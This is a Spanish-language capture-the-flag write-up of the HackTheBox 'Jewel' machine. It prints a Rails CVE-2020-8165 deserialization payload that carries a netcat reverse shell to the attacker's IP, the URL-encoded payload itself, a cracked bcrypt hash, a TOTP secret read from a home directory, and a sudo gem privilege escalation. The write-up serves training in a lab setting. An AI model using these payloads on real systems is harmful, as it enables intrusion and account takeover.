Jewel es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Jewel 10.10.10.211 a /etc/hosts como jewel.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
# Nmap 7.70 scan initiated Sat Nov 28 15:42:46 2020 as: nmap -sC -p- -oA enumeration/nmap 10.10.10.211 Nmap scan report for 10.10.10.211 Host is up (0.052s latency). Not shown: 65532 filtered ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA) | 256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA) |_ 256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519) 8000/tcp open http-alt |_http-generator: gitweb/2.20.1 git/2.20.1 | http-open-proxy: Potentially OPEN proxy. |_Methods supported:CONNECTION | http-title: 10.10.10.211 Git |_Requested resource was http://10.10.10.211:8000/gitweb/ 8080/tcp open http-proxy |_http-title: BL0G! # Nmap done at Sat Nov 28 15:44:38 2020 -- 1 IP address (1 host up) scanned in 112.37 seconds |
Observamos que existen dos puertos abiertos con portales web en el 8000 y en el 8080, así que como no tenemos claves para el acceso por ssh comenzaremos revisando los sites existentes en estos puertos.
Enumeración
En primer lugar accederemos al portal existente en el puerto 8080 donde vemos la siguiente página web de un blog
No vemos mucho al respecto en este portal, aparte de una sección de registro y otra de login, así que creamos nuestra cuenta y nos logueamos.
Revisamos de nuevo el portal, pero esta vez logueados, pero seguimos sin descubrir nada interesante así que procederemos a observar el siguiente puerto descubierto, el 8000.
Accedemos a la página en dicho puerto y encontramos un repositorio de código:
Donde observamos que está el código del blog que vimos en el puerto 8080 aśi que vamos a revisar el código fuente del mismo a ver si encontramos alguna vulnerabilidad y obtenemos que el portal está basado en el lenguaje ruby y el fichero Gemfile donde podemos obtener información de la versión utilizada:
Así que leemos el mismo y bingo, descubrimos que la versión de ruby es la 2.5.5 y la de rails la 5.2.1.1
Ahora que conocemos las versiones del blog nos toca googlear un poco a ver si conseguimos encontrar alguna vulnerabilidad interesante en dichas versiones y encontramos en concreto una, la CVE-2020-8165 que está explicada en el siguiente enlace:
https://nvd.nist.gov/vuln/detail/CVE-2020-8165
Y para la cual encontramos una forma de explotarla en el repostorio de github de masahiro331.
En nuestro caso hemos montado un contenedor en docker con las versiones que indica en el repositorio he instalado las mismas y generaremos nuestro payload añadiendo el siguiente código:
1 |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 4444 >/tmp/f |
Así que lanzamos los comandos para generar nuestro payload:
1 2 3 4 5 6 7 8 9 |
irb(main):001:0> code = '`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 4444 >/tmp/f`' irb(main):002:0> erb = ERB.allocate irb(main):003:0> erb.instance_variable_set :@src, code irb(main):004:0> erb.instance_variable_set :@filename, "1" irb(main):005:0> erb.instance_variable_set :@lineno, 1 irb(main):009:0> payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result) irb(main):010:0> puts "Payload" irb(main):013:0> require 'uri' irb(main):014:0> puts URI.encode_www_form(payload: payload) |
Generando nuestor payload, el cual quedaría de la siguiente forma:
1 |
%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40srcI%22V%60rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+10.10.14.16+4444+%3E%2Ftmp%2Ff%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T |
Ahora que tenemos generado nuestro payload necesitaremos enviarlo a la página a través del formulario de cambio de nombre de usuario para ejecutar nuestra reverse shell y obtener acceso a la máquina, utilizaremos para esto burp suite.
Así que procederemos a enviar el formulario, capturaremos la petición con burp y cambiaremos el nuevo nombre de usuario por nuestro payload:
Completado este paso, nos vamos a la página de inicio y recargamos y conseguiremos una shell con el usuario bill:
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.16] from (UNKNOWN) [10.10.10.211] 54592 /bin/sh: 0: can't access tty; job control turned off $ id uid=1000(bill) gid=1000(bill) groups=1000(bill) $ whoami bill $ |
Obteniendo la flag de user
Teniendo ya acceso con el usuario bill, sólo nos queda ir a la home de este usuario y conseguir la flag de user:
1 2 3 4 5 6 7 8 |
$ cd $ ls -l total 8 drwxr-xr-x 15 bill bill 4096 Sep 17 17:16 blog -r-------- 1 bill bill 33 Nov 28 15:43 user.txt $ cat user.txt dxxxxxxxxxxxxxxxxxxxxxxxx8 $ |
Primer paso hecho, ahora nos queda escalar a root.
Escalado de privilegios
Teniendo acceso con el usuario bill, revisamos los usuarios existentes y probamos a comprobar los permisos de sudo de este usuario, pero necesitamos de una contraseña para realizar este paso:
1 2 |
$ sudo -l [sudo] password for bill: |
Así que primero necesitaremos encontrar la misma. Analizamos el sistema y encontramos un fichero interesante en la ruta /var/backups:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ ls -l total 2200 -rw-r--r-- 1 root root 81920 Aug 26 11:39 alternatives.tar.0 -rw-r--r-- 1 root root 51600 Sep 17 14:15 apt.extended_states.0 -rw-r--r-- 1 root root 5415 Aug 28 06:49 apt.extended_states.1.gz -rw-r--r-- 1 root root 5363 Aug 27 10:48 apt.extended_states.2.gz -rw-r--r-- 1 root root 252 Aug 26 09:42 dpkg.diversions.0 -rw-r--r-- 1 root root 156 Aug 26 09:42 dpkg.diversions.1.gz -rw-r--r-- 1 root root 156 Aug 26 09:42 dpkg.diversions.2.gz -rw-r--r-- 1 root root 156 Aug 26 09:42 dpkg.diversions.3.gz -rw-r--r-- 1 root root 156 Aug 26 09:42 dpkg.diversions.4.gz -rw-r--r-- 1 root root 156 Aug 26 09:42 dpkg.diversions.5.gz -rw-r--r-- 1 root root 173 Aug 26 10:32 dpkg.statoverride.0 -rw-r--r-- 1 root root 158 Aug 26 10:32 dpkg.statoverride.1.gz -rw-r--r-- 1 root root 158 Aug 26 10:32 dpkg.statoverride.2.gz -rw-r--r-- 1 root root 158 Aug 26 10:32 dpkg.statoverride.3.gz -rw-r--r-- 1 root root 158 Aug 26 10:32 dpkg.statoverride.4.gz -rw-r--r-- 1 root root 158 Aug 26 10:32 dpkg.statoverride.5.gz -rw-r--r-- 1 root root 910140 Sep 18 07:14 dpkg.status.0 -rw-r--r-- 1 root root 226834 Sep 17 14:15 dpkg.status.1.gz -rw-r--r-- 1 root root 222736 Aug 28 06:49 dpkg.status.2.gz -rw-r--r-- 1 root root 222736 Aug 28 06:49 dpkg.status.3.gz -rw-r--r-- 1 root root 219249 Aug 27 10:48 dpkg.status.4.gz -rw-r--r-- 1 root root 210354 Aug 26 10:43 dpkg.status.5.gz -rw-r--r-- 1 root root 7828 Aug 27 10:19 dump_2020-08-27.sql -rw------- 1 root root 763 Aug 27 10:39 group.bak -rw------- 1 root shadow 637 Aug 27 10:39 gshadow.bak -rw------- 1 root root 1670 Aug 26 10:32 passwd.bak -rw------- 1 root shadow 1059 Aug 28 11:07 shadow.bak $ |
Revisamos el fichero dump_2020-08-27.sql y dentro del mismo encontramos unas credenciales del usuario bill entre otras:
1 2 3 |
COPY public.users (id, username, email, created_at, updated_at, password_digest) FROM stdin; 2 jennifer jennifer@mail.htb 2020-08-27 05:44:28.551735 2020-08-27 05:44:28.551735 $2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO 1 bill bill@mail.htb 2020-08-26 10:24:03.878232 2020-08-27 09:18:11.636483 $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW |
Así que guardamos el hash del usuario bill en un fichero y se lo pasamos a John para intentar descifrar el mismo:
1 2 3 4 5 6 7 8 9 10 |
$ john -w=/usr/share/wordlists/rockyou.txt bill Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 4096 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status spongebob (?) 1g 0:00:00:09 DONE (2020-11-28 20:50) 0.1077g/s 11.63p/s 11.63c/s 11.63C/s spongebob..beautiful Use the "--show" option to display all of the cracked passwords reliably Session completed |
Y conseguimos descifrar la misma a los pocos segundos. Ahora para disponer de una shell en mejores condiciones, nos vamos a la home del usuario y añadiremos nuestra clave ssh y accederemos mediante la misma para continuar analizando la máquina.
1 2 3 4 5 6 7 8 9 10 11 |
ssh -i /root/.ssh/ibillssh bill@10.10.10.211 Linux jewel.htb 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Sep 17 22:33:04 2020 bill@jewel:~$ |
Revisamos la home del usuario y encontramos un fichero muy interesante con respecto a la contiguración del mfa de google:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
bill@jewel:~$ ls -la total 56 drwxr-xr-x 7 bill bill 4096 Nov 28 21:02 . drwxr-xr-x 3 root root 4096 Aug 26 09:32 .. lrwxrwxrwx 1 bill bill 9 Aug 27 11:26 .bash_history -> /dev/null -rw-r--r-- 1 bill bill 220 Aug 26 09:32 .bash_logout -rw-r--r-- 1 bill bill 3526 Aug 26 09:32 .bashrc drwxr-xr-x 15 bill bill 4096 Sep 17 17:16 blog drwxr-xr-x 3 bill bill 4096 Aug 26 10:33 .gem -rw-r--r-- 1 bill bill 43 Aug 27 10:53 .gitconfig drwx------ 3 bill bill 4096 Aug 27 05:58 .gnupg -r-------- 1 bill bill 56 Aug 28 07:00 .google_authenticator drwxr-xr-x 3 bill bill 4096 Aug 27 10:54 .local -rw-r--r-- 1 bill bill 807 Aug 26 09:32 .profile lrwxrwxrwx 1 bill bill 9 Aug 27 11:26 .rediscli_history -> /dev/null drwx------ 2 bill bill 4096 Nov 28 21:04 .ssh -r-------- 1 bill bill 33 Nov 28 15:43 user.txt -rw-r--r-- 1 bill bill 116 Aug 26 10:43 .yarnrc bill@jewel:~$ |
Y cuyo contenido es el siguiente:
1 2 3 4 5 |
bill@jewel:~$ cat .google_authenticator 2UQI3R52WFCLE6JTLDCSJYMJH4 " WINDOW_SIZE 17 " TOTP_AUTH bill@jewel:~$ |
Así que añadiremos el addon de google authenticator en nuestro google chrome y procederemos a añadir la clave indicada en el fichero.
Y ya tenemos el otp configurado:
Así que volveremos a intentar revisar los permisos del usuario. Nos solicitará dos credenciales, la clave del usuario y el código otp:
1 2 3 4 5 |
bill@jewel:~$ sudo -l [sudo] password for bill: Verification code: Error "Operation not permitted" while writing config My pet ferret can type better than you! |
Pero el mismo nos da un error. En esta parte perdí bastante tiempo en comparación con el resto de la máquina y después de revisar en el foro de htb, el problema venía por una mala sincronización de la máquina con respecto a la nuestra así que revisaremos la zona geográfica y la hora configuradas en la máquina:
1 2 3 4 5 6 7 8 9 10 11 |
bill@jewel:~$ cat /etc/timezone Europe/London bill@jewel:~$ timedatectl Local time: Sat 2020-11-28 21:16:17 GMT Universal time: Sat 2020-11-28 21:16:17 UTC RTC time: Sat 2020-11-28 21:16:17 Time zone: Europe/London (GMT, +0000) System clock synchronized: no NTP service: active RTC in local TZ: no bill@jewel:~$ |
Y si la comparamos con la de nuestro equipo es diferente por lo que puede ser la razón de que no consigamos ver los permisos del usuario.
Procederemos entonces a ajustar la zona horaria y la hora de nuestro sistema a la misma utilizada en la máquina jewel:
1 2 3 |
root@kali:~# timedatectl set-timezone Europe/London root@kali:~# date --set 21:20:06 Sat 28 Nov 2020 09:20:06 PM GMT |
Y volveremos a probar a revisar los permisos:
1 2 3 4 5 6 7 8 9 10 |
bill@jewel:~$ sudo -l [sudo] password for bill: Verification code: Matching Defaults entries for bill on jewel: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, insults User bill may run the following commands on jewel: (ALL : ALL) /usr/bin/gem bill@jewel:~$ |
Y ahora sí que conseguimos visualizar los mismos.
Como vemos tenemos permisos de sudo sobre /usr/bin/gem por lo que buscamos en gtfobins algún exploit que podamos ejecutar para el escalado de privilegios y encontramos el siguiente:
1 |
gem open -e "/bin/sh -c /bin/sh" rdoc |
Así que probamos a ejecutar el mismo:
1 2 3 4 5 |
bill@jewel:~$ sudo gem open -e "/bin/sh -c /bin/sh" rdoc # whoami root # id uid=0(root) gid=0(root) groups=0(root) |
Y conseguimos escalar a root.
Obteniendo la flag de root
Ahora que ya tenemos permisos de root sólo nos queda ir a la home de este y conseguir nuestra flag:
1 2 3 4 5 6 7 |
# id uid=0(root) gid=0(root) groups=0(root) # ls -l /root/root.txt -r-------- 1 root root 33 Nov 28 15:43 /root/root.txt # cat /root/root.txt 8xxxxxxxxxxxxxxxxxxxxxxxxxxxa # |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace